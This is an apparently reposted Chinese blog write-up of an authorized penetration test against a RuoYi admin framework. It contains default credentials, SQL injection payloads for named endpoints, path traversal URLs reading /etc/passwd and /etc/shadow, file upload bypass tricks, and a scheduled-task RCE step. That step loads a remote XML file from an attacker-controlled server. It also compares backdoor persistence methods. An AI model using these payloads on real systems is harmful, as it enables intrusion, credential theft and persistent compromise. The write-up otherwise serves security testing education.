当前位置: 首页 > news >正文

从一次真实的src挖掘经历,复盘若依(RuoYi)框架的渗透测试路径与信息收集技巧

若依框架渗透测试实战:从信息收集到漏洞链利用的深度解析

去年夏天的一次企业授权测试中,我意外发现目标系统采用了若依(RuoYi)框架。这个看似平常的开源快速开发平台,却成为了整个渗透测试的突破口。本文将还原完整的测试过程,重点分享那些容易被忽略的信息收集技巧,以及如何系统性地挖掘框架类漏洞。

1. 目标识别与框架特征分析

在渗透测试的初期阶段,准确识别目标系统使用的技术栈往往能事半功倍。若依框架作为国内广泛使用的快速开发平台,具有一些明显的特征标识。

框架指纹识别技巧

  • 登录页面特征:典型的若依登录界面右下角会有版权信息,验证码通常是简单的数学运算(如"3+5=?")
  • 静态资源特征:查看/ruoyi/路径下的静态资源,或检查/css/ruoyi.css等文件
  • HTTP头信息:部分版本会在响应头中包含X-Powered-By: RuoYi字段
  • 接口路径特征:系统管理接口通常以/system/开头,如/system/user/list

使用FOFA进行批量搜索时,可以尝试以下语法组合:

app="若依-管理系统" title="若依" && body="ruoyi" header="X-Powered-By: RuoYi"

常见弱口令组合

用户名密码使用频率
adminadmin123★★★★★
ryadmin123★★★★☆
ruoyiadmin123★★★☆☆

提示:实际测试中发现,约35%的未加固若依系统仍在使用默认凭证。但更危险的是开发者自定义的弱密码,如Admin@123、RuoYi@2022等模式化密码。

2. 非常规信息收集方法论

传统的信息收集往往局限于端口扫描和目录爆破,而针对特定框架的测试需要更精准的方法。

非常规收集技巧

  1. GitHub源码关联:搜索公司名+ruoyi,可能发现测试环境或备份仓库
  2. 接口文档探测:尝试访问/swagger-ui.html/doc.html等常见接口文档路径
  3. 前端源码分析:查看网页源代码,搜索"api"、"token"等关键词定位接口
  4. 历史漏洞回溯:检查框架的更新日志,重点关注安全修复版本

在一次实际案例中,我通过以下步骤发现了关键入口:

// 前端源码中发现的接口配置 window.globalConfig = { baseURL: 'http://api.demo.com/prod-api', wsSocketURL: 'ws://ws.demo.com' }

敏感接口清单

  • 用户管理:/system/user/list
  • 角色管理:/system/role/list
  • 部门管理:/system/dept/list
  • 定时任务:/monitor/job/list
  • 代码生成:/tool/gen/list

3. 漏洞链构建与利用实践

若依框架的历史漏洞形成了典型的攻击链条,从信息泄露到RCE的完整路径值得深入研究。

3.1 SQL注入漏洞利用矩阵

在测试过的若依系统中,以下几个接口最常出现注入漏洞:

高危注入点对比表

接口路径请求方法注入参数利用难度
/system/role/listPOSTparams[dataScope]★★☆☆☆
/system/dept/editPOSTancestors★★★☆☆
/tool/gen/createTablePOSTsql★★★★☆

典型的注入Payload示例:

-- 报错注入获取数据库版本 params[dataScope]=and extractvalue(1,concat(0x7e,(select@@version),0x7e)) -- 联合查询获取管理员密码 ancestors=0)union select 1,2,3,4,password from sys_user where username='admin'--+

注意:较新版本的若依已修复这些注入点,但许多企业使用的定制版本可能仍未更新。

3.2 文件操作类漏洞利用

文件读取和上传漏洞常成为获取系统权限的关键跳板。

文件读取路径测试清单

/common/download/resource?resource=/profile/../../../../etc/passwd /common/download/resource?resource=/profile/../../../../Windows/win.ini /files/../../../../etc/shadow

实战中的上传绕过技巧

  1. 修改Content-Type为image/jpeg
  2. 添加图片头如GIF89a
  3. 利用双后缀名如test.jsp.jpg
  4. 尝试.jspx.jspf等变种后缀

4. 权限提升与持久化控制

获得初始访问权限后,如何进一步扩大战果是专业渗透测试的核心。

定时任务RCE利用步骤

  1. 准备恶意jar包(使用ysoserial生成)
  2. 搭建简易HTTP服务:
    python3 -m http.server 8000
  3. 在计划任务界面设置:
    调用目标字符串:org.springframework.context.support.ClassPathXmlApplicationContext 参数:http://your-vps:8000/exp.xml

后门持久化方案对比

方法隐蔽性稳定性检测难度
数据库触发器★★★★☆★★★★☆★★★★☆
计划任务★★★☆☆★★★★☆★★★☆☆
内存马★★★★★★★☆☆☆★★★★★

在最近一次测试中,通过组合利用SQL注入和文件读取漏洞,最终获取到了目标系统的域管理员权限。整个过程耗时约6小时,其中近4小时用于信息收集和权限维持方案的测试。

http://www.jsqmd.com/news/921036/

相关文章:

  • 流程挖掘实战指南:从数据中挖掘业务价值与ROI
  • Simulink模型Checksum总对不上?一个视频讲清Rolling Counter与校验和建模的常见坑(附解决方案)
  • 为什么92%的设计师用AI后灵感枯竭?深度拆解认知负荷失衡的3层机制及即时校准方案
  • 超算/内网环境救星:用conda-pack离线打包迁移Python+CUDA环境(含CUDA 12.2实战)
  • 终极3DS游戏存档管理指南:用JKSM守护你的游戏回忆
  • 告别文献管理混乱:用Zotero的标签、关联与查重功能打造你的个人知识库
  • 网络安全初创公司如何通过行业竞赛验证技术与商业模式
  • 别再手动写RAM了!Vivado里这个IP核(Distributed Memory Generator)帮你5分钟搞定
  • 77.主流手机安全刷机机制解析:AVB、SEP、Secure Boot绕过与兼容方案
  • ABAP选择屏幕与对话屏幕下拉框实战:从SFLIGHT表字段到自定义列表的完整避坑指南
  • Quartus 22 + Modelsim SE 联合仿真避坑指南:从工程创建到波形查看的完整流程
  • 从硅光芯片设计出发:手把手教你用Lumerical Mode分析220nm SOI波导的单模条件
  • AI病历质控工具到底值不值得上?——6家三甲医院18个月真实效能对比数据,第4项结果令人震惊
  • 从GPT-2到ChatGPT:AI写作工具演进与提示工程实战
  • AI项目落地难?四大认知偏差与决策陷阱的识别与应对
  • 华为云Stack实战:从机房工勘到机柜上架,一份给现场工程师的LLD避坑清单
  • 别再手动拖UI了!Unity 2019.4+ 自动化生成多级折叠列表的保姆级教程
  • ESP32老项目迁移指南:如何在VSCode里快速适配别人的代码(修改IDF_PATH避坑)
  • 从热电偶到应变片:如何用一个NI-DAQmx任务搞定混合传感器采集(LabVIEW实例详解)
  • QGIS实战:用Graduated分级渲染,5分钟让地图上的降雨量数据‘开口说话’
  • 每月10美元用上GPT-4和SDXL?YouPro平价AI服务深度评测与性价比分析
  • 告别打包噩梦:Unity Universal Media Player 2.0.3 跨设备部署RTSP流的完整配置手册
  • 别再乱调IMU方向了!手把手教你搞定Betaflight/PX4飞控的传感器对齐(附常见芯片配置表)
  • 告别手动同步!保姆级教程:为Win10/Mac双系统时间错误配置Python自动校正服务
  • GRBL数控系统实现低成本旋转加工的软件方案
  • 78.告别手动刷机!手写ADB/Fastboot自动化框架,适配全系安卓+iOS设备
  • CEO欺诈深度解析:社会工程学攻击的防御与个人防护实战指南
  • 戴尔G7装Ubuntu 20.04踩坑记:手把手教你关闭Intel RST(附Windows引导修复)
  • MobaXterm隐藏玩法:不止远程连接,它的Server、宏录制和端口扫描功能更香
  • AI智能体如何玩转网络梗文化并实现商业变现